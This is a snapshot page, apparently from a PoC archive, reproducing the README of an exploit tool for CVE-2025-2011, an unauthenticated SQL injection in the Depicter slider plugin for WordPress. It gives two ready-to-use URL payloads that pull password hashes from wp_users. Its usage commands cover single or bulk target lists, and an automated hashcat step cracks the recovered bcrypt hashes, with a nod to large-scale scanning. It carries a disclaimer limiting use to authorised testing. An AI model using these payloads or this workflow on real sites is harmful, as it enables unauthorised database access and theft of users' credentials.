关联漏洞
描述
Exploit for CVE-2025-2011
介绍
# CVE-2025-2011 PoC
**By:** X3RX3S
**Purpose:** A proof-of-concept tool to test for an SQL injection vulnerability (CVE-2025-2011) against WordPress sites.
**Disclaimer:** Use **only** on systems you own or have explicit written permission to test. Unauthorized testing is illegal and unethical.
<img width="1156" height="350" alt="Screenshot From 2025-11-02 19-44-16" src="https://github.com/user-attachments/assets/b7b34d43-5f92-4c17-8b88-135c09b70c58" />
---
## About the vulnerability :)
- The Slider & Popup Builder by Depicter plugin for WordPress is vulnerable to generic SQL Injection via the ‘s' parameter in all versions up to, and including, 3.6.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
---
## Features
- Two SQLi payloads (selectable with `-p 1` or `-p 2`)
- Bcrypt (`$2a$`, `$2b$`, `$2y$`) hash detection, including `$wp$`-prefixed variants
- Results saved per hostname: `results_<hostname>.txt`
- Optional Hashcat integration for bcrypt (`-m 3200`) with a prompt
- Supports single URL (`-u`) or multiple targets via file (`-f`)
---
## Requirements
- Python 3.8+
- pip packages:
- `requests`
- `colorama`
Install dependencies:
```bash
pip install requests colorama
```
Optional (for cracking):
- `hashcat` installed and available in your PATH (Default is /usr/share/wordlists/rockyou.txt)
- A wordlist such as `/usr/share/wordlists/rockyou.txt`
---
## Usage
Make the script executable (optional):
```bash
chmod +x CVE-2025-2011.py
```
Single target (default payload 1):
```bash
python3 CVE-2025-2011.py -u https://example.com
```
Single target (payload 2):
```bash
python3 CVE-2025-2011.py -u https://example.com -p 2
```
Multiple targets from file (one URL per line):
```bash
python3 CVE-2025-2011.py -f targets.txt
```
---
## Output
For each tested host the script saves a result file:
```
results_<hostname>.txt
```
If bcrypt hashes are found, they are saved to `hashes.txt` and you will be prompted to crack them with Hashcat. Example Hashcat command used by the script:
```bash
hashcat -m 3200 hashes.txt /usr/share/wordlists/rockyou.txt
```
> Note: bcrypt is slow by design. Cracking may take a very long time and require GPUs.
---
## Payloads
- **Payload 1** (default):
```
/wp-admin/admin-ajax.php?action=depicter-lead-index&s=test%27)+UNION+select+user_pass,2,3,4,5+FROM+wp_users--+x
```
- **Payload 2**:
```
/wp-admin/admin-ajax.php?action=depicter-lead-list&s=test%27))+table_name+UNION+select+user_pass+FROM+wp_users--+x
```
---
## Legal & Responsible Use
This tool is provided for **educational and defensive** purposes only. Do **not** use it against systems where you do not have explicit permission. The author and distributor accept no responsibility for misuse. Always obtain written authorization before running tests against targets you do not own.
---
## Notes & Tuning
- If you have different wordlists, update the `run_hashcat` function in the script to point to your preferred list.
- If Hashcat is not installed or you prefer not to crack hashes, answer **N** when prompted.
- You can adjust timeouts and thread behavior in the script for large-scale scanning.
---
## Scrambled togheter by
- **X3RX3S**
- Inspired by responsible security research workflows & Chocapikk (https://github.com/Chocapikk.
文件快照
[4.0K] /data/pocs/acb125be344788b963464e41868222fdb24e8a27
├── [4.3K] CVE-2025-2011.py
└── [3.5K] README.md
1 directory, 2 files
备注
1. 建议优先通过来源进行访问。
2. 如果因为来源失效或无法访问,请发送邮箱到 f.jinxu#gmail.com 索取本地快照(把 # 换成 @)。
3. 神龙已为您对POC代码进行快照,为了长期维护,请考虑为本地POC付费,感谢您的支持。